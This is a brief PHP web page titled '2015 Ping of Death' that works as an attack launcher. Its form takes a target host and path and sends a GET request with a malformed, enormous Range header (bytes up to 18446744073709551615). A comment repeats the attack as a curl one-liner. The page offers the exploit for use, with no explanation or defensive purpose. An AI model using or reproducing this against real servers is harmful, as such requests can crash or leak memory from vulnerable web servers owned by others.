2015 Ping of Death

ping.php

<?php
// curl -v [ipaddress]/static.png -H "Host: test" -H "Range: bytes=0-18446744073709551615"

if (isset($_GET["host"]) && isset($_GET["url"])) {
	$h = htmlspecialchars($_GET["host"]);
	$ip = gethostbyname($h);
	$url = htmlspecialchars($_GET["url"]);

	$opts = array('http' =>
  		array(
	    	'method'  => 'GET',
		    'header'  => "Range: bytes=5-18446744073709551615\r\n" . "Host: ".$h,
	    	'content' => $body,
	    	'timeout' => 60
  		)
	);
                        
	$context  = stream_context_create($opts);
	$result = file_get_contents('http://' . $ip . $url, false, $context, -1, 40000);
	echo $result;
}

?>
<form>
host: <input name="host" value="" required><br>
url: <input name="url" value="" required>
<input type="submit">
</form>